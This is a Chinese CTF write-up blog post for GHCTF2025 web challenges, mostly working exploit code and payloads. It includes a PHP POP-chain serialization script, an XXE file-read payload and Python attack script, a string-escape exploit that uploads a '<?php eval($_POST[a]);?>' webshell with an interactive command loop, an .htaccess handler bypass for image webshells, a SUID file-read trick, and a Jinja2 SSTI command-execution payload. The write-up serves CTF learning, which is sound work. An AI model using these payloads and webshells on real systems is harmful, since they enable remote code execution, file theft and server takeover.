GHCTF2025
本文最后更新于 2 天前,其中的信息可能已经有所发展或是发生改变。

Web

SQL???

参数直接给了测试一下,为数字型

order by出来到5  2,3,4,5都可注入
直接出最后select flag from flag

也可以用sqlmap一把梭

只是通过user-agent进⾏的过滤,加⼀个–random-agent即可

sqlmap -u xxxx?id=1 --random-agent --batch

sqlite数据库,查询和平时不太一样而已

Popppppp

源码

 <?php
error_reporting(0);

class CherryBlossom {
  public $fruit1;
  public $fruit2;

  public function __construct($a) {
      $this->fruit1 = $a;
  }

  function __destruct() {
      echo $this->fruit1;
  }

  public function __toString() {
      $newFunc = $this->fruit2;
      return $newFunc();
  }
}

class Forbidden {
  private $fruit3;

  public function __construct($string) {
      $this->fruit3 = $string;
  }

  public function __get($name) {
      $var = $this->$name;
      $var[$name]();
  }
}

class Warlord {
  public $fruit4;
  public $fruit5;
  public $arg1;

  public function __call($arg1, $arg2) {
      $function = $this->fruit4;
      return $function();
  }

  public function __get($arg1) {
      $this->fruit5->ll2('b2');
  }
}

class Samurai {
  public $fruit6;
  public $fruit7;

  public function __toString() {
      $long = @$this->fruit6->add();
      return $long;
  }

  public function __set($arg1, $arg2) {
      if ($this->fruit7->tt2) {
          echo "xxx are the best!!!";
      }
  }
}

class Mystery {

  public function __get($arg1) {
      array_walk($this, function ($day1, $day2) {
          $day3 = new $day2($day1);
          foreach ($day3 as $day4) {
              echo ($day4 . '<br>');
          }
      });
  }
}

class Princess {
  protected $fruit9;

  protected function addMe() {
      return "The time spent with xxx is my happiest time" . $this->fruit9;
  }

  public function __call($func, $args) {
      call_user_func([$this, $func . "Me"], $args);
  }
}

class Philosopher {
  public $fruit10;
  public $fruit11="sr22kaDugamdwTPhG5zU";

  public function __invoke() {
      if (md5(md5($this->fruit11)) == 666) {
          return $this->fruit10->hey;
      }
  }
}

class UselessTwo {
  public $hiddenVar = "123123";

  public function __construct($value) {
      $this->hiddenVar = $value;
  }

  public function __toString() {
      return $this->hiddenVar;
  }
}

class Warrior {
  public $fruit12;
  private $fruit13;

  public function __set($name, $value) {
      $this->$name = $value;
      if ($this->fruit13 == "xxx") {
          strtolower($this->fruit12);
      }
  }
}

class UselessThree {
  public $dummyVar;

  public function __call($name, $args) {
      return $name;
  }
}

class UselessFour {
  public $lalala;

  public function __destruct() {
      echo "Hehe";
  }
}

if (isset($_GET['GHCTF'])) {
  unserialize($_GET['GHCTF']);
} else {
  highlight_file(__FILE__);
}

刚开始以为是用call_user_func去读,但是发现不行,拼接不上

最后是使用原生类去读

链子
__destruct()->fruitl1->new Samurai->fruitl6->new Mystery->DirectoryIterator/SplFileObject(fruitl11->'eS')
//如果能找到一个值,其二次 MD5 哈希结果转换为数字后为 0 或者 666,就可以绕过

解题脚本:

<?php

class CherryBlossom {
    public $fruit1;
    public $fruit2;


}

class Forbidden {
    private $fruit3;


}

class Warlord {
    public $fruit4;
    public $fruit5;
    public $arg1;


}

class Samurai {
    public $fruit6;
    public $fruit7;


}

class Mystery {
    public $SplFileObject='/flag44545615441084';
}

class Princess {
    protected $fruit9;

}

class Philosopher {
    public $fruit10;
    public $fruit11="sr22kaDugamdwTPhG5zU";
   

}

class UselessTwo {
    public $hiddenVar = "123123";


}

class Warrior {
    public $fruit12;
    private $fruit13;

}

class UselessThree {
    public $dummyVar;

   
}

class UselessFour {
    public $lalala;

   
}


$a=new CherryBlossom(0);
$b=new Warlord();
$c=new Samurai();
$d=new Mystery();
$e=new Princess();
$f=new Philosopher();
$g=new UselessTwo(0);
$h=new Warrior();
$i=new UselessThree();
$j=new UselessFour();

$a->fruit1=$c;
$c->fruit6=$b;
$b->fruit4=$f;
$f->fruit10=$d;
$f->fruit11="eS";
#$d->DirectoryIterator='/';
#$d->SplFileObject='/flag44545615441084';
echo serialize($a);

(>﹏<)

无过滤XXE,直接打

from flask import Flask,request import base64 from lxml import etree import re app = Flask(__name__) @app.route('/') def index(): return open(__file__).read() @app.route('/ghctf',methods=['POST']) def parse(): xml=request.form.get('xml') print(xml) if xml is None: return "No System is Safe." parser = etree.XMLParser(load_dtd=True, resolve_entities=True) root = etree.fromstring(xml, parser) name=root.find('name').text return name or None if __name__=="__main__": app.run(host='0.0.0.0',port=8080)
在/ghctf下传
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///flag" >
]>
<root>
  <name>&xxe;</name>
</root>

练习一下写脚本能力

import requests
# 配置⽬标信息
URL = "http://node1.anna.nssctf.cn:28713/ghctf" # 替换为实际⽬标地址
FILE = "/flag" # 尝试读取的⽂件路径
# 构造恶意XML
malicious_xml = f'''<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file://{FILE}">
]>
<root>
<name>&xxe;</name>
</root>'''
# 发送恶意请求

response = requests.post(
URL,
data={'xml': malicious_xml},
timeout=10
)
# 解析响应
if response.status_code == 200:
print("[+] 攻击成功!响应内容:")
print(response.text)
//[+] 攻击成功!响应内容:
NSSCTF{e0530b64-1d62-4832-bb19-680a342ff504}

Escape!

下载附件,开始审计!

//class.php
<?php
ini_set('display_errors', 0);
error_reporting(0);
class User
{
  public $username;
  public $isadmin;
  public function __construct($username,$isadmin)
  {
      $this->username=$username;
      $this->isadmin=$isadmin;
  }

}
class Database {
  private $host="";
  private $db="";
  private $user="";
  private $password="root";
  private $charset;
  private $pdo;

  public function __construct($host="localhost", $db="ctf", $user="root", $password="123456", $charset = 'utf8mb4') {
      $this->host = $host;
      $this->db = $db;
      $this->user = $user;
      $this->password = $password;
      $this->charset = $charset;

      $this->connect();
  }

  private function connect() {
      $dsn = "mysql:host={$this->host};dbname={$this->db};charset={$this->charset}";
      try {
          $this->pdo = new PDO($dsn, $this->user, $this->password);
          $this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
      } catch (PDOException $e) {
          echo "数据库连接失败: " . $e->getMessage();
          exit;
      }
  }

  public function query($sql, $params = []) {
      $stmt = $this->pdo->prepare($sql);
      $stmt->execute($params);
      return $stmt->fetchAll(PDO::FETCH_ASSOC);
  }

  public function insert($sql, $params = []) {
      $stmt = $this->pdo->prepare($sql);
      $stmt->execute($params);
      return $this->pdo->lastInsertId();
  }

  public function update($sql, $params = []) {
      $stmt = $this->pdo->prepare($sql);
      return $stmt->execute($params);
  }

  public function delete($sql, $params = []) {
      $stmt = $this->pdo->prepare($sql);
      return $stmt->execute($params);
  }

  public function getPdo() {
      return $this->pdo;
  }
}
//waf.php
<?php

function waf($c)
{
  $lists=["flag","'","\\","sleep","and","||","&&","select","union"];
  foreach($lists as $list){
      $c=str_replace($list,"error",$c);
  }
  #echo $c;
  return $c;
}
//dashboard.php
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "class.php";
function checkSignedCookie($cookieName = 'user_token', $secretKey = 'fake_secretkey') {
  // 获取 Cookie 内容
  if (isset($_COOKIE[$cookieName])) {
      $token = $_COOKIE[$cookieName];

      // 解码并分割数据和签名
      $decodedToken = base64_decode($token);
      list($serializedData, $providedSignature) = explode('|', $decodedToken);

      // 重新计算签名
      $calculatedSignature = hash_hmac('sha256', $serializedData, $secretKey);

      // 比较签名是否一致
      if ($calculatedSignature === $providedSignature) {
          // 签名验证通过,返回序列化的数据
          return $serializedData; // 反序列化数据
      } else {
          // 签名验证失败
          return false;
      }
  }
  return false; // 如果没有 Cookie
}

// 示例:验证并读取 Cookie
$userData = checkSignedCookie();
if ($userData) {
  #echo $userData;
  $user=unserialize($userData);
  #var_dump($user);
  if($user->isadmin){
      $tmp=file_get_contents("tmp/admin.html");

      echo $tmp;

      if($_POST['txt']) {
      $content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
      }
  }
  else{
      $tmp=file_get_contents("tmp/admin.html");
      echo $tmp;
  if($_POST['txt']||$_POST['filename']){
      echo "<h1>权限不足,写入失败<h1>";
}
  }
} else {
  echo 'token验证失败';
}
//login.php
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "waf.php";
include "class.php";
include "db.php";
$username=$_POST["username"];
$password=$_POST["password"];

$SQL=new Database();
function login($db,$username,$password)
{
  $data=$db->query("SELECT * FROM users WHERE username = ?",[$username]);

  if(empty($data)){
      die("<script>alert('用户不存在')</script><script>window.location.href = 'index.html'</script>");
  }
  if($data[0]['password']!==md5($password)){
      die("<script>alert('密码错误')</script><script>window.location.href = 'index.html'</script>");
  }
  if($data[0]['username']==='admin') {
      $user = new User($username, true);
  }
  else{
      $user = new User($username, false);
  }
  return $user;
}

function setSignedCookie($serializedData, $cookieName = 'user_token', $secretKey = 'fake_secretKey') {
  $signature = hash_hmac('sha256', $serializedData, $secretKey);

  $token = base64_encode($serializedData . '|' . $signature);

  setcookie($cookieName, $token, time() + 3600, "/"); // 设置有效期为1小时
}

$User=login($SQL,$username,$password);

$User_ser=waf(serialize($User));

setSignedCookie($User_ser);

header("Location: dashboard.php");

?>
//register.php
<!DOCTYPE html>
<html lang="zh">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>注册页面</title>
  <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
</head>
<body>
<div class="container">
  <h2 class="mt-5">注册</h2>
  <form method="POST" action="register.php">
      <div class="form-group">
          <label for="username">用户名</label>
          <input type="text" class="form-control" id="username" name="username" required>
      </div>
      <div class="form-group">
          <label for="password">密码</label>
          <input type="password" class="form-control" id="password" name="password" required>
      </div>
      <div class="form-group">
          <label for="confirm_password">确认密码</label>
          <input type="password" class="form-control" id="confirm_password" name="confirm_password" required>
      </div>
      <button type="submit" class="btn btn-primary">注册</button>
  </form>

  <div class="mt-3">
      <p>已有账号?<a href="index.html" class="btn btn-link">登录</a></p>
  </div>
</div>

<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.2/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "class.php";
function register($db, $username, $password) {
  // 检查用户名是否存在
  $existingUser = $db->query("SELECT * FROM users WHERE username = ?", [$username]);
  if (!empty($existingUser)) {
      return "用户名已存在!";
  }

  // 密码加密
  $hashedPassword = md5($password);
  // 插入用户数据
  $userId = $db->insert("INSERT INTO users (username, password) VALUES (?, ?)", [$username, $hashedPassword]);

  return "注册成功!";
}

$db=new Database();
$password=$_POST['password'];
$username=$_POST['username'];
if(!empty($password) and !empty($username)) {
  $res = register($db, $username, $password);
}
echo $res;

注册页面就是个注册功能,查询库里有没有已存在的用户

dashboard.php中看到,只有isadmin才可以上传文件,同时是根据token验证的

login.php中看到是对$User进行序列化操作,然后看到waf.php中字符串替换,那必然是字符串逃逸了,大概就是对token进行逃逸修改,身份改成isadmin

随便注册一个,拿到user_token

Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjM6IjExMSI7czo3OiJpc2FkbWluIjtiOjA7fXw5ZTE5ZmEwZmVhOWYxODgwZjVhYzZmN2VlMTU0ZjVkMDZmMjJlOTkwZmE0MjhkNDQ0OWE0OGNhNzQ1MzQyMWQx
//O:4:"User":2:{s:8:"username";s:3:"111";s:7:"isadmin";b:0;}|9e19fa0fea9f1880f5ac6f7ee154f5d06f22e990fa428d4449a48ca7453421d1

就是要那个isadmin变为1就可以了
那么我们要构造逃逸的字符串就显而易见了,就是:
";s:7:"isadmin";b:0;}//一共21个字符串
替换利用的可以很多,随便选都可以,只要最后替换21个就可以
flag'''''";s:7:"isadmin";b:1;}

然后成功拿到权限,上传木马文件命令执行即可

想写攻击脚本,但是不知道为啥,就是能打通,但是输入命令他不执行???

from selectors import SelectSelector

import requests
import base64
# ⽬标 URL
base_url = "http://node6.anna.nssctf.cn:29654/" # 替换为实际的⽬标 URL
# 注册信息
username = "flag'''''\";s:7:\"isadmin\";b:1;}" # 注意:⽤户名中包含5个单引号
password = "123"
# Webshell 信息
webshell_filename = "shell.php"
webshell_content = "aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==" # <?php eval($_POST[a]);?> 的 base64 编码
webshell_url = f"{base_url}/{webshell_filename}"
# 创建 session 对象,⽤于保持 Cookie
session = requests.Session()
def register():
"""注册⽤户"""
register_url = f"{base_url}/register.php"
data = {
"username": username,
"password": password,
"confirm_password": password
}
response = session.post(register_url, data=data)
if "注册成功" in response.text:
print("[+] 注册成功!")
return True # 注册成功
elif "⽤户名已存在" in response.text:
print("[+] ⽤户名已存在,尝试直接登录...")
return False # ⽤户名已存在
else:
print("[-] 注册失败!")
print(response.text)
exit()
def login():
"""登录"""
login_url = f"{base_url}/login.php"
data = {
"username": username,
"password": password
}
response = session.post(login_url, data=data)
# print("[+] 登录响应头:")
# print(response.headers)

def upload_webshell():
"""上传 Webshell"""
upload_url = f"{base_url}/dashboard.php"
data = {
"filename": f"php://filter/write=convert.base64-decode/resource={webshell_filename}",
"txt": webshell_content
}
response = session.post(upload_url, data=data)
# print(response.text) #调试⽤的,可以看看返回了啥。
if "success" in response.text:
print("[+] 上传成功,但是可能没有回显")
elif "权限不⾜" in response.text:
print("[-] 上传失败,权限不⾜!")
exit()
else:
print("[+] 上传⽂件成功!")
def execute_command(command):
"""执⾏命令"""
data = {
"a": command # 连接密码是 a
}
response = session.post(webshell_url, data=data)
# 提取命令执⾏结果(根据实际情况调整)
output = response.text
print(f"[+] 命令执⾏结果:\n{output}")
def command_loop():
"""进⼊命令执⾏循环"""
print("[+] 进⼊命令执⾏模式,输⼊ 'exit' 或 'quit' 退出。")
while True:
command = input(">>> ")
if command.lower() in ["exit", "quit"]:
      break
execute_command(command)
if __name__ == "__main__":
if not login(): # 先尝试登录
upload_webshell() # 上传 Webshell
command_loop() # 进⼊命令执⾏循环

难绷,脚本写的真烂

ez_readfile

 <?php
show_source(__FILE__);
if (md5($_POST['a']) === md5($_POST['b'])) {
    if ($_POST['a'] != $_POST['b']) {
        if (is_string($_POST['a']) && is_string($_POST['b'])) {
            echo file_get_contents($_GET['file']);
        }
    }
}
?>

md5强碰撞的题,源码给了就都好说

这边利用师傅给的工具,过了md5强碰撞

这边是用到一个CVE-2024-2961很难想到

https://github.com/kezibei/php-filter-iconv利用这个脚本去生成payload

这个是真不知道

GetShell

 <?php
highlight_file(__FILE__);

class ConfigLoader {
  private $config;

  public function __construct() {
      $this->config = [
          'debug' => true,
          'mode' => 'production',
          'log_level' => 'info',
          'max_input_length' => 100,
          'min_password_length' => 8,
          'allowed_actions' => ['run', 'debug', 'generate']
      ];
  }

  public function get($key) {
      return $this->config[$key] ?? null;
  }
}

class Logger {
  private $logLevel;

  public function __construct($logLevel) {
      $this->logLevel = $logLevel;
  }

  public function log($message, $level = 'info') {
      if ($level === $this->logLevel) {
          echo "[LOG] $message\n";
      }
  }
}

class UserManager {
  private $users = [];
  private $logger;

  public function __construct($logger) {
      $this->logger = $logger;
  }

  public function addUser($username, $password) {
      if (strlen($username) < 5) {
          return "Username must be at least 5 characters";
      }

      if (strlen($password) < 8) {
          return "Password must be at least 8 characters";
      }

      $this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
      $this->logger->log("User $username added");
      return "User $username added";
  }

  public function authenticate($username, $password) {
      if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {
          $this->logger->log("User $username authenticated");
          return "User $username authenticated";
      }
      return "Authentication failed";
  }
}

class StringUtils {
  public static function sanitize($input) {
      return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
  }

  public static function generateRandomString($length = 10) {
      return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
  }
}

class InputValidator {
  private $maxLength;

  public function __construct($maxLength) {
      $this->maxLength = $maxLength;
  }

  public function validate($input) {
      if (strlen($input) > $this->maxLength) {
          return "Input exceeds maximum length of {$this->maxLength} characters";
      }
      return true;
  }
}

class CommandExecutor {
  private $logger;

  public function __construct($logger) {
      $this->logger = $logger;
  }

  public function execute($input) {
      if (strpos($input, ' ') !== false) {
          $this->logger->log("Invalid input: space detected");
          die('No spaces allowed');
      }

      @exec($input, $output);
      $this->logger->log("Result: $input");
      return implode("\n", $output);
  }
}

class ActionHandler {
  private $config;
  private $logger;
  private $executor;

  public function __construct($config, $logger) {
      $this->config = $config;
      $this->logger = $logger;
      $this->executor = new CommandExecutor($logger);
  }

  public function handle($action, $input) {
      if (!in_array($action, $this->config->get('allowed_actions'))) {
          return "Invalid action";
      }

      if ($action === 'run') {
          $validator = new InputValidator($this->config->get('max_input_length'));
          $validationResult = $validator->validate($input);
          if ($validationResult !== true) {
              return $validationResult;
          }

          return $this->executor->execute($input);
      } elseif ($action === 'debug') {
          return "Debug mode enabled";
      } elseif ($action === 'generate') {
          return "Random string: " . StringUtils::generateRandomString(15);
      }

      return "Unknown action";
  }
}

if (isset($_REQUEST['action'])) {
  $config = new ConfigLoader();
  $logger = new Logger($config->get('log_level'));

  $actionHandler = new ActionHandler($config, $logger);
  $input = $_REQUEST['input'] ?? '';
  echo $actionHandler->handle($_REQUEST['action'], $input);
} else {
  $config = new ConfigLoader();
  $logger = new Logger($config->get('log_level'));
  $userManager = new UserManager($logger);

  if (isset($_POST['register'])) {
      $username = $_POST['username'];
      $password = $_POST['password'];

      echo $userManager->addUser($username, $password);
  }

  if (isset($_POST['login'])) {
      $username = $_POST['username'];
      $password = $_POST['password'];

      echo $userManager->authenticate($username, $password);
  }

  $logger->log("No action provided, running default logic");
} [LOG] No action provided, running default logic

有用的部分就是这个吧,审了一会

public function execute($input) {
      if (strpos($input, ' ') !== false) {
          $this->logger->log("Invalid input: space detected");
          die('No spaces allowed');
      }

      @exec($input, $output);
      $this->logger->log("Result: $input");
      return implode("\n", $output);
  }
}

public function execute($input) {
      if (strpos($input, ' ') !== false) {
          $this->logger->log("Invalid input: space detected");
          die('No spaces allowed');
      }

      @exec($input, $output);
      $this->logger->log("Result: $input");
      return implode("\n", $output);
  }
}
?action=run&input=ls
过滤了空格,有两种方法,1是反弹shell,2是往里面写木马
蚁剑直连
登进去了之后,读文件读不了,学到新东西了,提权suid
相当于就是直接提高权限去读sudo
./wc --files0-from "/flag"

成功,附上SUID提权的文章参考

https://www.cnblogs.com/gsh23/p/18109524

UPUPUP

提示文件上传,考的是apache的.htaccess配置绕过

上传图片马,需要绕过,可以利用GIF89a绕过检测 但是为考虑文件完整性不被破坏,能够让他正常解析我们的图片马,所以还需要添加注释

#define width 1337
#define height 1337
addHandler application/x-httpd-php .png

后面就是正常的传图片马了

到时候试试学写一下纯攻击脚本

upload?SSTT!

下载源码:

import os
import re

from flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filename

app = Flask(__name__)

# 配置信息
UPLOAD_FOLDER = 'static/uploads' # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024 # 限制上传大小为 16MB

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH

# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):
  return os.path.commonpath([basedir,path])


def contains_dangerous_keywords(file_path):
  dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]

  with open(file_path, 'rb') as f:
      file_content = str(f.read())


      for keyword in dangerous_keywords:
          if keyword in file_content:
              return True # 找到危险关键字,返回 True

  return False # 文件内容中没有危险关键字
def allowed_file(filename):
  return '.' in filename and \
      filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET', 'POST'])
def upload_file():
  if request.method == 'POST':
      # 检查是否有文件被上传
      if 'file' not in request.files:
          return jsonify({"error": "未上传文件"}), 400

      file = request.files['file']

      # 检查是否选择了文件
      if file.filename == '':
          return jsonify({"error": "请选择文件"}), 400

      # 验证文件名和扩展名
      if file and allowed_file(file.filename):
          # 安全处理文件名
          filename = secure_filename(file.filename)
          # 保存文件
          save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
          file.save(save_path)



          # 返回文件路径(绝对路径)
          return jsonify({
              "message": "File uploaded successfully",
              "path": os.path.abspath(save_path)
          }), 200
      else:
          return jsonify({"error": "文件类型错误"}), 400

  # GET 请求显示上传表单(可选)
  return '''
  <!doctype html>
  <title>Upload File</title>
  <h1>Upload File</h1>
  <form method=post enctype=multipart/form-data>
    <input type=file name=file>
    <input type=submit value=Upload>
  </form>
  '''

@app.route('/file/<path:filename>')
def view_file(filename):
  try:
      # 1. 过滤文件名
      safe_filename = secure_filename(filename)
      if not safe_filename:
          abort(400, description="无效文件名")

      # 2. 构造完整路径
      file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)

      # 3. 路径安全检查
      if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
          abort(403, description="禁止访问的路径")

      # 4. 检查文件是否存在
      if not os.path.isfile(file_path):
          abort(404, description="文件不存在")

      suffix=os.path.splitext(filename)[1]
      print(suffix)
      if suffix==".jpg" or suffix==".png" or suffix==".gif":
          return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')

      if contains_dangerous_keywords(file_path):
          # 删除不安全的文件
          os.remove(file_path)
          return jsonify({"error": "Waf!!!!"}), 400

      with open(file_path, 'rb') as f:
          file_data = f.read().decode('utf-8')
      tmp_str = """<!DOCTYPE html>
      <html lang="zh">
      <head>
          <meta charset="UTF-8">
          <meta name="viewport" content="width=device-width, initial-scale=1.0">
          <title>查看文件内容</title>
      </head>
      <body>
          <h1>文件内容:{name}</h1> <!-- 显示文件名 -->
          <pre>{data}</pre> <!-- 显示文件内容 -->

          <footer>
              <p>&copy; 2025 文件查看器</p>
          </footer>
      </body>
      </html>
      """.format(name=safe_filename, data=file_data)

      return render_template_string(tmp_str)

  except Exception as e:
      app.logger.error(f"文件查看失败: {str(e)}")
      abort(500, description="文件查看失败:{} ".format(str(e)))


# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):
  return {"error": error.description}, 404


@app.errorhandler(403)
def forbidden(error):
  return {"error": error.description}, 403


if __name__ == '__main__':
  app.run("0.0.0.0",debug=False)

可以看到最后读文件是要在/file/?.txt路径下去读的

有一些黑名单

用fenjing秒一下

调用一下fenjing本地跑一下
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)
def waf(s: str):
blacklist = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]
return all(word not in s for word in blacklist)
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "cat /flag")
print(f"{shell_payload=}")
{%set nb=lipsum|escape|batch(22)|first|last%}{{((lipsum[nb+nb+'globals'+nb+nb][nb+nb+'builtins'+nb+nb][nb+nb+'import'+nb+nb]('o''s')).popen('cat /f''lag')).read()}}

评论

  1. baozongwi
    Android Chrome
    2 天前
    2025-3-13 14:15:06

    真不错,fenjing还可以这么用

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇